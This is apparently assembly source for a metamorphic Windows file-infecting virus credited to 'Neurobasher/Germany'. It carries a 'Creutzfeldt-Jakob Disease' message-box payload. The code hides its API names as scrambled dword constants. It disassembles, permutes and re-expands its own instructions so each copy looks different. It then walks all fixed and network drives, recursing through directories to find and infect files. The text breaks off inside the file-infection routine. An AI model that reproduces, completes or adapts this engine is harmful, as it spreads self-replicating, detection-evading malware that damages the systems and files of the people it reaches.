FindFileData EQU __DATA_SECTION + 03A0h
OtherBuffers EQU __DATA_SECTION + 03A8h
RoundedSizeOfNewCode EQU __DATA_SECTION + 03B0h
NewAssembledCode EQU __DATA_SECTION + 03B8h
NumberOfUndoActions EQU __DATA_SECTION + 03C0h
LastHeader EQU __DATA_SECTION + 03C8h
MaxSizeOfDecryptor EQU __DATA_SECTION + 03D0h
CreatingADecryptor EQU __DATA_SECTION + 03D8h
DecryptorPseudoCode EQU __DATA_SECTION + 03E0h
AssembledDecryptor EQU __DATA_SECTION + 03E8h
Decryptor_DATA_SECTION EQU __DATA_SECTION + 03F0h
SizeOfExpansion EQU __DATA_SECTION + 03F8h
SizeOfDecryptor EQU __DATA_SECTION + 0400h
TypeOfEncryption EQU __DATA_SECTION + 0408h
EncryptionKey EQU __DATA_SECTION + 0410h
IndexValue EQU __DATA_SECTION + 0418h
IndexRegister EQU __DATA_SECTION + 0420h
BufferRegister EQU __DATA_SECTION + 0428h
CounterRegister EQU __DATA_SECTION + 0430h
BufferValue EQU __DATA_SECTION + 0438h
CounterValue EQU __DATA_SECTION + 0440h
Poly_FirstPartOfFunction EQU __DATA_SECTION + 0448h
Poly_SecondPartOfFunction EQU __DATA_SECTION + 0450h
Poly_ThirdPartOfFunction EQU __DATA_SECTION + 0458h
AdditionToBuffer EQU __DATA_SECTION + 0460h
Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h
;Index2Register EQU __DATA_SECTION + 0470h
Poly_LoopLabel EQU __DATA_SECTION + 0478h
RVA_GetSystemTime EQU __DATA_SECTION + 0480h
RVA_GetTickCount EQU __DATA_SECTION + 0488h
RVA_GetDriveTypeA EQU __DATA_SECTION + 0490h
RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h
RVA_SetCurrentDirectoryA EQU __DATA_SECTION + 04A0h
StartOfEncryptedData EQU __DATA_SECTION + 04A8h
SizeOfNewCodeP2 EQU __DATA_SECTION + 04B0h
Poly_InitialValue EQU __DATA_SECTION + 04B8h
Poly_Addition EQU __DATA_SECTION + 04C0h
Poly_ExcessJumpInstruction EQU __DATA_SECTION + 04C8h
DirectoryDeepness EQU __DATA_SECTION + 04D0h
RVA_GetSystemDefaultLCID EQU __DATA_SECTION + 04D8h
Poly_JumpRandomExecution EQU __DATA_SECTION + 04E0h
Main proc
; EBP = Delta offset
pop ebx
pop eax
mov ecx, eax
and eax, 1
mov [ebp+FlagAorW], eax
and ecx, 0FFFFFFFEh
shr ecx, 1
mov [ebp+DeltaRegister], ecx
pop eax
mov eax, [eax]
mov [ebp+RVA_GetModuleHandle], eax
pop eax
mov eax, [eax]
mov [ebp+RVA_GetProcAddress], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_CODE_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DISASM_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_BUFFERS_SECTION], eax
mov [ebp+_LABEL_SECTION], eax
add eax, 10000h
mov [ebp+_VARIABLE_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER1_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER2_SECTION], eax
add eax, 10000h
mov [ebp+_VAR_MARKS_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DATA_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DISASM2_SECTION], eax
push ebx ; Restore return value
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, 'nrek'
mov [edx], eax
mov eax, '23le'
mov [edx+4], eax
mov eax, 'lld.'
mov [edx+8], eax
xor eax, eax
mov [edx+0Ch], eax
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error
mov [ebp+hKernel], eax
push eax
push ecx
push edx
mov eax, 'resu'
mov [edx], eax
mov eax, 'd.23'
mov [edx+4], eax
mov eax, 'll'
mov [edx+8], eax
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
mov [ebp+hUser32], eax
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov edi, [ebp+hKernel]
mov eax, 'aerC'
mov [edx], eax
mov eax, 'iFet'
mov [edx+4], eax
mov eax, 'Ael'
mov [edx+8], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileA], eax
mov eax, 'ppaM'
mov [edx+0Ah], eax
mov eax, 'Agni'
mov [edx+0Eh], eax
xor eax, eax
mov [edx+12h], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileMappingA], eax
add edx, 2
mov eax, 'VpaM'
mov [edx], eax
mov eax, 'Owei'
mov [edx+4], eax
mov eax, 'liFf'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_MapViewOfFile], eax
sub edx, 2
mov eax, 'amnU'
mov [edx], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_UnmapViewOfFile], eax
mov eax, 'SteG'
mov [edx], eax
mov eax, 'etsy'
mov [edx+4], eax
mov eax, 'miTm'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemTime], eax
mov eax, 'virD'
mov [edx+3], eax
mov eax, 'pyTe'
mov [edx+7], eax
mov eax, 'Ae'
mov [edx+0Bh], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_GetDriveTypeA], eax
mov eax, 'igoL'
mov [edx+3], eax
mov eax, 'Dlac'
mov [edx+7], eax
mov eax, 'evir'
mov [edx+0Bh], eax
mov eax, 'irtS'
mov [edx+0Fh], eax
mov eax, 'Asgn'
mov [edx+13h], eax
xor eax, eax
mov [edx+17h], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_GetLogicalDriveStringsA], eax
mov eax, 'tsyS'
mov [edx+3], eax
mov eax, 'eDme'
mov [edx+7], eax
mov eax, 'luaf'
mov [edx+0Bh], eax
mov eax, 'ICLt'
mov [edx+0Fh], eax
mov eax, 'D'
mov [edx+13h], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemDefaultLCID], eax
mov eax, 'CteS'
mov [edx], eax
mov eax, 'erru'
mov [edx+4], eax
mov eax, 'iDtn'
mov [edx+8], eax
mov eax, 'tcer'
mov [edx+0Ch], eax
mov eax, 'Ayro'
mov [edx+10h], eax
xor eax, eax
mov [edx+14h], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_SetCurrentDirectoryA], eax
mov eax, 'FteG'
mov [edx], eax
mov eax, 'Seli'
mov [edx+4], eax
mov eax, 'ezi'
mov [edx+8], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileSize], eax
mov eax, 'rttA'
mov [edx+7], eax
mov eax, 'tubi'
mov [edx+0Bh], eax
mov eax, 'Ase'
mov [edx+0Fh], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileAttributesA], eax
mov eax, 'FteS'
mov [edx], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileAttributesA], eax
mov eax, 'nioP'
mov [edx+7], eax
mov eax, 'ret'
mov [edx+0Bh], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_SetFilePointer], eax
mov eax, 'emiT'
mov [edx+7], eax
xor eax, eax
mov [edx+0Bh], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileTime], eax
mov eax, 'OdnE'
mov [edx+3], eax
mov eax, 'liFf'
mov [edx+7], eax
mov eax, 'e'
mov [edx+0Bh], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_SetEndOfFile], eax
mov eax, 'dniF'
mov [edx], eax
mov eax, 'sriF'
mov [edx+4], eax
mov eax, 'liFt'
mov [edx+8], eax
mov eax, 'Ae'
mov [edx+0Ch], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_FindFirstFileA], eax
mov eax, 'txeN'
mov [edx+4], eax
mov eax, 'eliF'
mov [edx+8], eax
mov eax, 'A'
mov [edx+0Ch], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_FindNextFileA], eax
mov eax, 'solC'
mov [edx+4], eax
mov eax, 'e'
mov [edx+8], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_FindClose], eax
add edx, 4
mov eax, 'dnaH'
mov [edx+5], eax
mov eax, 'el'
mov [edx+9], eax
call GetFunction
or eax, eax
jz @@Error
mov [ebp+RVA_CloseHandle], eax
sub edx, 4
mov edi, [ebp+hUser32]
mov eax, 'sseM'
mov [edx], eax
mov eax, 'Bega'
mov [edx+4], eax
mov eax, 'Axo'
mov [edx+8], eax
call GetFunction
mov [ebp+RVA_MessageBoxA], eax
push eax
push ecx
push edx
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
push eax
call dword ptr [ebp+RVA_GetSystemTime]
pop edx
pop ecx
pop eax
mov ebx, [ebp+_BUFFER1_SECTION]
add ebx, ebp
mov eax, [ebx+04h]
add eax, [ebx+0Ch]
mov [ebp+RndSeed1], eax
add eax, [ebx+08h]
mov [ebp+RndSeed2], eax
mov eax, [ebp+RVA_MessageBoxA]
or eax, eax
jz @@NoPayload
;; Simple, silly MessageBox with a partly metamorphic message :)
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov eax, [edx+2]
and eax, 0FFh
@@ChoosePayload:
call Random
and eax, 3
cmp eax, 1
je @@CheckPayload
cmp eax, 2
je @@CheckPayload2
cmp eax, 3
je @@CheckPayload3
cmp eax, 0
je @@EndPayload
@@CheckPayload:
call Random
and eax, 03Fh
jnz @@EndPayload
push edx
call Random
and eax, 00000000h
add eax, 'DJC[' ;; "[CJD"
mov [edx], eax
add edx, 4
call Random
and eax, 20200000h
add eax, 'RC ]' ;; "] CR"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ZTUE' ;; "EUTZ"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'DLEF' ;; "FELD"
mov [edx], eax
add edx, 4
call Random
and eax, 20200020h
add eax, 'AJ-T' ;; "T-JA"
mov [edx], eax
add edx, 4
call Random
and eax, 00202020h
add eax, ' BOK' ;; "KOB "
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ESID' ;; "DISE"
mov [edx], eax
add edx, 4
call Random
and eax, 00202020h
add eax, ' ESA' ;; "ASE "
mov [edx], eax
call Random
and eax, 2
jnz @@TruncatePayload
add edx, 4
call Random
and eax, 00000000h
add eax, ' )c(' ;; " (c)"
mov [edx], eax
add edx, 4
call Random
and eax, 00000000h
add eax, 'N yb' ;; "by N"
mov [edx], eax
add edx, 4
call Random
and eax, 00000000h
add eax, 'orue' ;; "euro"
mov [edx], eax
add edx, 4
call Random
and eax, 00000000h
add eax, 'hsab' ;; "bash"
mov [edx], eax
add edx, 4
call Random
and eax, 00000000h
add eax, 'G/re' ;; "er/G"
mov [edx], eax
add edx, 4
call Random
and eax, 00000000h
add eax, 'amre' ;; "erma"
mov [edx], eax
add edx, 4
call Random
and eax, 00000000h
add eax, ' yn' ;; "ny "
mov [edx], eax
@@TruncatePayload:
pop edx
; "[CJD] Creutzfeldt-Jakob Disease"
; and sometimes "by Neurobasher/Germany"
push eax ; first part with random upcases and lowcases.
push ecx
push edx
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
jmp @@EndPayload
@@CheckPayload2:
call Random
and eax, 1FFh
jnz @@CheckPayload3
push edx
xor eax, eax
call Random
and eax, 20202020h
add eax, 'IVOB' ;; "BOVI"
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'S EN' ;; "NE S"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'GNOP' ;; "PONG"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ROFI' ;; "IFOR"
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'NE M' ;; "M EN"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'HPEC' ;; "CEPH"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'POLA' ;; "ALOP"
mov [edx], eax
add edx, 4
call Random
and eax, 00202020h
add eax, ' YTA' ;; "ATY "
mov [edx], eax
pop edx
push eax
push ecx
push edx
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
@@CheckPayload3:
call Random
and eax, 1FFh
jnz @@EndPayload
push edx
xor eax, eax
call Random
and eax, 00202020h
add eax, ' DAM' ;; "MAD "
mov [edx], eax
add edx, 4
call Random
and eax, 00202020h
add eax, ' WOC' ;; "COW "
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ESID' ;; "DISE"
mov [edx], eax
add edx, 4
call Random
and eax, 00202020h
add eax, ' ESA' ;; "ASE "
mov [edx], eax
pop edx
push eax
push ecx
push edx
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
@@EndPayload:
@@NoPayload:
mov esi, [ebp+_DISASM_SECTION]
add esi, ebp
xor eax, eax
push esi
@@LoopGarbleSect_01:
mov ebx, eax
add eax, 1
mov ecx, eax
add eax, 1
mov edx, eax
add eax, 1
push eax
call Xp_GarbleRegisters
pop eax
mov [esi], ebx
mov [esi+4], ecx
mov [esi+8], edx
add esi, 0Ch
cmp eax, 6
jnz @@LoopGarbleSect_01
pop esi
push esi
mov ecx, 2
@@LoopGarbleSect_02:
push ecx
mov ebx, [esi]
mov ecx, [esi+08h]
mov edx, [esi+10h]
call Xp_GarbleRegisters
mov [esi], ebx
mov [esi+08h], ecx
mov [esi+10h], edx
pop ecx
add esi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopGarbleSect_02
pop esi
mov ecx, 6
xor edx, edx
@@LoopGarbleSect_03:
call Random
and eax, 7FFFh
add edx, eax
mov eax, [esi]
or eax, eax
jz @@GarbleSect_CodeSection
cmp eax, 1
jz @@GarbleSect_DisasmSection
cmp eax, 2
jz @@GarbleSect_BuffersSection
cmp eax, 3
jz @@GarbleSect_DataSection
cmp eax, 4
jnz @@GarbleSect_Next
@@GarbleSect_Disasm2Section:
mov [ebp+New_DISASM2_SECTION], edx
add edx, 100000h
jmp @@GarbleSect_Next
@@GarbleSect_CodeSection:
mov [ebp+New_CODE_SECTION], edx
add edx, 80000h
jmp @@GarbleSect_Next
@@GarbleSect_DisasmSection:
mov [ebp+New_DISASM_SECTION], edx
add edx, 100000h
jmp @@GarbleSect_Next
@@GarbleSect_BuffersSection:
mov [ebp+New_BUFFERS_SECTION], edx
add edx, 60000h
jmp @@GarbleSect_Next
@@GarbleSect_DataSection:
mov [ebp+New_DATA_SECTION], edx
add edx, 20000h
@@GarbleSect_Next:
add esi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopGarbleSect_03
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp
mov [ebp+InstructionTable], eax
mov eax, [ebp+_LABEL_SECTION]
add eax, ebp
mov [ebp+LabelTable], eax
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
mov [ebp+FutureLabelTable], eax
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp
mov [ebp+PathMarksTable], eax
mov esi, [ebp+_CODE_SECTION]
add esi, ebp
call DisasmCode
nop
mov [ebp+AddressOfLastInstruction], edi
call ShrinkCode
mov eax, [ebp+_VARIABLE_SECTION]
add eax, ebp
mov [ebp+VariableTable], eax
mov eax, [ebp+_VAR_MARKS_SECTION]
add eax, ebp
mov [ebp+VarMarksTable], eax
mov ecx, [ebp+DeltaRegister]
call IdentifyVariables
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
mov [ebp+FramesTable], eax
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp
mov [ebp+PermutationResult], eax
mov eax, [ebp+_BUFFER2_SECTION]
add eax, ebp
mov [ebp+JumpsTable], eax
call PermutateCode
mov eax, [ebp+PermutationResult]
mov [ebp+InstructionTable], eax
xor eax, eax
mov [ebp+CreatingADecryptor], eax
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp
mov [ebp+ExpansionResult], eax
xor eax, eax
mov [ebp+SizeOfExpansion], eax
call XpandCode
mov eax, [ebp+ExpansionResult]
mov [ebp+InstructionTable], eax
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp
mov [ebp+NewAssembledCode], eax
mov eax, [ebp+_VARIABLE_SECTION]
add eax, ebp
mov [ebp+NewLabelTable], eax
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
mov [ebp+JumpRelocationTable], eax
call AssembleCode
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp
mov [ebp+DecryptorPseudoCode], eax
add eax, 80000h
mov [ebp+AssembledDecryptor], eax
mov eax, [ebp+_BUFFER2_SECTION]
add eax, ebp
mov [ebp+FindFileData], eax
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
mov [ebp+OtherBuffers], eax
call InfectFiles
@@Error:
ret
Main endp
;----------------------------------------------------------------------------------------
IdentifyVariables proc
mov esi, [ebp+InstructionTable]
mov edi, [ebp+VariableTable]
xor eax, eax
mov [ebp+NumberOfVariables], eax
@@LoopGetVar:
xor eax, eax
mov al, [esi]
cmp eax, 0FCh
jz @@NextInstruction
call CheckIfInstructionUsesMem
or eax, eax
jz @@NextInstruction
mov al, [esi+1]
cmp eax, ecx
jz @@DeltaOffsetAt1
mov al, [esi+2]
cmp eax, ecx
jz @@DeltaOffsetAt2
@@NextInstruction:
add esi, 10h
cmp esi, [ebp+AddressOfLastInstruction]
jnz @@LoopGetVar
jmp @@SelectNewVariables
@@DeltaOffsetAt1:
mov al, [esi+2]
jmp @@Continue_01
@@DeltaOffsetAt2:
mov al, [esi+1]
@@Continue_01:
cmp eax, 8
jnz @@NextInstruction
mov eax, [esi+3]
mov edx, [ebp+VariableTable]
mov ebx, [ebp+NumberOfVariables]
sub eax, [ebp+_DATA_SECTION]
and eax, 0FFFFFFF8h
@@LookForVariable:
or ebx, ebx
jz @@InsertVariable
cmp eax, [edx]
jz @@VariableExists
add edx, 4
sub ebx, 4
jmp @@LookForVariable
@@InsertVariable:
mov [edx], eax
mov eax, [ebp+NumberOfVariables]
add eax, 4
mov [ebp+NumberOfVariables], eax
@@VariableExists:
mov eax, 00000809h
mov [esi+1], eax
mov [esi+3], edx
jmp @@NextInstruction
@@SelectNewVariables:
mov ecx, 20000h / 4
mov edi, [ebp+VarMarksTable]
xor eax, eax
@@LoopInitializeMarks:
mov [edi], eax
add edi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopInitializeMarks
mov ecx, [ebp+NumberOfVariables]
mov ebx, [ebp+VariableTable]
@@LoopGetNewVar:
call Random
and eax, 01FFF8h
add eax, [ebp+VarMarksTable]
mov edx, [eax]
or edx, edx
jnz @@LoopGetNewVar
mov edx, 1
mov [eax], edx
sub eax, [ebp+VarMarksTable]
push ebx
mov ebx, eax
call Random
and eax, 3
add eax, ebx
pop ebx
mov [ebx], eax
add ebx, 4
sub ecx, 4
or ecx, ecx
jnz @@LoopGetNewVar
ret
IdentifyVariables endp
;----------------------------------------------------------------------------------------
PermutateCode proc
xor eax, eax
mov [ebp+NumberOfJumps], eax
mov edi, [ebp+FramesTable]
mov ecx, [ebp+AddressOfLastInstruction]
mov eax, [ebp+InstructionTable]
mov esi, eax
sub ecx, eax
@@NextFrame:
call Random
and eax, 0F0h
cmp eax, 050h
jb @@NextFrame
add eax, 0F0h
mov [edi], esi
add esi, eax
mov [edi+4], esi
mov ebx, esi
@@LoopCheckInst00:
sub ebx, 10h
cmp ebx, [edi]
jz @@CheckInst_Next00
mov edx, [ebx]
and edx, 0FFh
cmp edx, 0FFh
jz @@LoopCheckInst00
cmp edx, 0EAh
jnz @@CheckInst_Next00
@@LoopCheckInst01:
add ebx, 10h
cmp ebx, [ebp+AddressOfLastInstruction]
jz @@CheckInst_Next00
mov edx, [ebx]
and edx, 0FFh
cmp edx, 0FFh
jz @@LoopCheckInst01
cmp edx, 0F6h
jnz @@CheckInst_Next00
add ebx, 10h
sub ebx, esi
add eax, ebx
add esi, ebx
mov [edi+4], esi
@@CheckInst_Next00:
mov ebx, esi
jmp @@DontAdd10hYet
@@LoopCheckInst02:
add ebx, 10h
@@DontAdd10hYet:
cmp ebx, [ebp+AddressOfLastInstruction]
jz @@CheckInst_Next01
mov edx, [ebx]
and edx, 0FFh
cmp edx, 0FFh
jz @@LoopCheckInst02
cmp edx, 0E9h
jz @@CheckInst_IncludeInstruction
cmp edx, 0FEh
jz @@CheckInst_IncludeInstruction
cmp edx, 0EBh
jz @@CheckInst_IncludeInstruction
cmp edx, 0EDh
jz @@CheckInst_IncludeInstruction
cmp edx, 70h
jb @@CheckInst_Next01
cmp edx, 7Fh
ja @@CheckInst_Next01
@@CheckInst_IncludeInstruction:
add ebx, 10h
push ebx
sub ebx, esi
add eax, ebx
add esi, ebx
mov [edi+4], esi
pop ebx
jmp @@DontAdd10hYet
@@CheckInst_Next01:
add edi, 8
sub ecx, eax
cmp ecx, 01E0h
jae @@NextFrame
or ecx, ecx
jz @@FramesCreationFinished
mov [edi], esi
add esi, ecx
mov [edi+4], esi
add edi, 8
@@FramesCreationFinished:
mov [ebp+AddressOfLastFrame], edi
@@TempLabel:
mov eax, edi
mov ebx, [ebp+FramesTable]
sub eax, ebx
mov ebx, 8
@@LoopCalculateMOD:
shl ebx, 1
cmp ebx, eax
jb @@LoopCalculateMOD
sub ebx, 8
mov [ebp+MODValue], ebx
mov esi, [ebp+FramesTable]
mov [ebp+PositionOfFirstInstruction], esi
mov edx, esi
@@LoopExchange:
call Random
mov ebx, [ebp+MODValue]
and eax, ebx
add eax, esi
; ; Uncommenting this instruction the engine doesn't permutate anything
; mov eax, edx
cmp eax, edi
jae @@LoopExchange
mov ecx, [eax]
mov ebx, [edx]
mov [eax], ebx
mov [edx], ecx
cmp edx, [ebp+PositionOfFirstInstruction]
jnz @@LookEAX
mov [ebp+PositionOfFirstInstruction], eax
jmp @@ExchangeNext
@@LookEAX:
cmp eax, [ebp+PositionOfFirstInstruction]
jnz @@ExchangeNext
mov [ebp+PositionOfFirstInstruction], edx
@@ExchangeNext:
add eax, 4
add edx, 4
mov ecx, [eax]
mov ebx, [edx]
mov [eax], ebx
mov [edx], ecx
add edx, 4
cmp edx, edi
jb @@LoopExchange
mov esi, [ebp+InstructionTable]
mov edi, [ebp+PermutationResult]
mov ebx, [ebp+FramesTable]
mov eax, [ebp+PositionOfFirstInstruction]
cmp ebx, eax
jnz @@InsertJump2
@@LoopCopyFrame:
mov eax, 0FFh
mov [ebp+Permut_LastInstruction], eax
mov edx, [ebx]
add ebx, 4
mov ecx, [ebx]
add ebx, 4
@@LoopCopyInstructions:
mov eax, [edx]
cmp al, 4Fh
jnz @@NextInstruction
mov al, 51h
mov [edx], eax
push eax
push ebx
mov ebx, [edx+7]
mov eax, 59h
mov [ebx], al
pop ebx
pop eax
@@NextInstruction:
mov [edi], eax
mov eax, [edx+4]
mov [edi+4], eax
mov eax, [edx+8]
mov [edi+8], eax
mov [edi+0Ch], edx
mov [edx+0Ch], edi
mov eax, [edi]
and eax, 0FFh
cmp eax, 0FFh
jz @@NextInstruction2
@@SetLastInstruction:
mov [ebp+Permut_LastInstruction], eax
jmp @@NextInstruction3
@@NextInstruction2:
mov eax, [edi+0Bh]
and eax, 0FFh
or eax, eax
jnz @@SetLastInstruction
@@NextInstruction3:
add edi, 10h
add edx, 10h
cmp edx, ecx
jnz @@LoopCopyInstructions
mov eax, [ebp+AddressOfLastFrame]
cmp ebx, eax
jae @@LastFrameArrived
mov eax, [ebx]
cmp eax, edx
jz @@LoopTestIfLastFrame
@@LastFrameArrived:
mov eax, [ebp+Permut_LastInstruction]
cmp eax, 0E9h
jz @@LoopTestIfLastFrame
cmp eax, 0EBh
jz @@LoopTestIfLastFrame
cmp eax, 0EDh
jz @@LoopTestIfLastFrame
cmp eax, 0FEh
jz @@LoopTestIfLastFrame
mov [edi+1], edx
@@InsertJump:
mov eax, 0E9h
mov [edi], al
call InsertJumpInTable
add edi, 10h
@@LoopTestIfLastFrame:
mov eax, [ebp+AddressOfLastFrame]
cmp ebx, eax
jae @@End
jmp @@LoopCopyFrame
@@InsertJump2:
mov eax, [eax]
mov [edi+1], eax
jmp @@InsertJump
@@End: mov [ebp+AddressOfLastInstruction], edi
mov ecx, [ebp+NumberOfLabels]
mov edx, [ebp+LabelTable]
@@LoopUpdateLabel:
mov eax, [edx+4]
mov ebx, [eax+0Ch]
mov [edx], ebx
add edx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopUpdateLabel
mov ecx, [ebp+NumberOfJumps]
mov ebx, [ebp+JumpsTable]
jmp @@CheckNumberOfJumps
@@LoopUpdateJumps:
mov esi, [ebx]
mov eax, [esi+1]
mov edi, [eax+0Ch]
mov [edx], edi
mov [edx+4], eax
mov [esi+1], edx
mov eax, [ebp+NumberOfLabels]
add eax, 1
mov [ebp+NumberOfLabels], eax
add edx, 8
add ebx, 4
sub ecx, 4
@@CheckNumberOfJumps:
or ecx, ecx
jnz @@LoopUpdateJumps
ret
PermutateCode endp
Random proc
push edx
push ecx
mov eax, [ebp+RndSeed1]
mov ecx, [ebp+RndSeed2]
add eax, ecx
call RandomMod1
xor eax, [ebp+RndSeed1]
mov [ebp+RndSeed1], eax
mov ecx, eax
mov eax, [ebp+RndSeed2]
add [ebp+RndSeed2], ecx
call RandomMod2
xor eax, [ebp+RndSeed2]
mov [ebp+RndSeed2], eax
xor eax, [ebp+RndSeed1]
call RandomMod2
pop ecx
pop edx
ret
Random endp
RandomMod1 proc
mov edx, eax
and edx, 1FFFh
shl edx, 13h
and eax, 0FFFFFE00h
shr eax, 0Dh
or eax, edx
add eax, ecx
ret
RandomMod1 endp
RandomMod2 proc
mov edx, eax
and edx, 1FFFFh
shl edx, 0Fh
and eax, 0FFFFE000h
shr eax, 11h
or eax, edx
add eax, ecx
ret
RandomMod2 endp
InsertJumpInTable proc
mov ecx, [ebp+NumberOfJumps]
mov edx, [ebp+JumpsTable]
add edx, ecx
mov [edx], edi
add ecx, 4
mov [ebp+NumberOfJumps], ecx
ret
InsertJumpInTable endp
;----------------------------------------------------------------------------------------
InfectFiles proc
call Random
and eax, 3
jnz @@DontLoop
@@LoopAgain:
call Random
and eax, 0FFh
jnz @@LoopAgain
@@DontLoop:
xor eax, eax
mov [ebp+DirectoryDeepness], eax
call InfectFiles2
mov ebx, [ebp+FindFileData]
add ebx, 1000h
@@LoopGetDrives:
xor eax, eax
mov [ebp+DirectoryDeepness], eax
push eax
push ecx
push edx
mov eax, [ebp+FindFileData]
add eax, 1000h
push eax
mov eax, 200h
push eax
call dword ptr [ebp+RVA_GetLogicalDriveStringsA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error2
push eax
push ecx
push edx
mov eax, ebx
push eax
call dword ptr [ebp+RVA_GetDriveTypeA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
cmp eax, 3
jz @@InfectDrive
cmp eax, 4
jnz @@NextDrive
cmp eax, 6
@@InfectDrive:
push eax
push ecx
push edx
mov eax, ebx
push eax
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error2
push ebx
call InfectFiles2
pop ebx
@@NextDrive:
@@LoopFindNull:
add ebx, 1
mov eax, [ebx]
and eax, 0FFh
or eax, eax
jnz @@LoopFindNull
add ebx, 1
mov eax, [ebx]
and eax, 0FFh
or eax, eax
jnz @@LoopGetDrives
@@Error2:
ret
InfectFiles endp
InfectFiles2 proc
push eax
push ecx
push edx
mov eax, [ebp+FindFileData]
push eax
mov edx, [ebp+OtherBuffers]
push edx
mov eax, '*.*'
mov [edx], eax
call dword ptr [ebp+RVA_FindFirstFileA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
cmp eax, -1
jz @@Error
mov [ebp+hFindFile], eax
@@TouchAgain:
mov edx, [ebp+FindFileData]
mov eax, [edx]
and eax, 10h
or eax, eax
jz @@TryToInfectFile
mov eax, [ebp+DirectoryDeepness]
cmp eax, 5
jz @@InfectNextFile
mov eax, [edx+2Ch]
and eax, 0FFFFFFh
cmp eax, '..'
jz @@InfectNextFile
and eax, 0FFFFh
cmp eax, '.'
jz @@InfectNextFile
and eax, 01Fh
cmp eax, 'W' AND 1Fh
jz @@InfectNextFile
push eax
push ecx
push edx
mov eax, edx
add eax, 2Ch
push eax
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@InfectNextFile
mov eax, [ebp+DirectoryDeepness]
add eax, 1
mov [ebp+DirectoryDeepness], eax
mov eax, [ebp+hFindFile]
push eax
call InfectFiles2
pop eax
mov [ebp+hFindFile], eax
mov eax, [ebp+DirectoryDeepness]
sub eax, 1
mov [ebp+DirectoryDeepness], eax
mov edx, [ebp+FindFileData]
mov eax, '..'
mov [edx], eax
push eax
push ecx
push edx
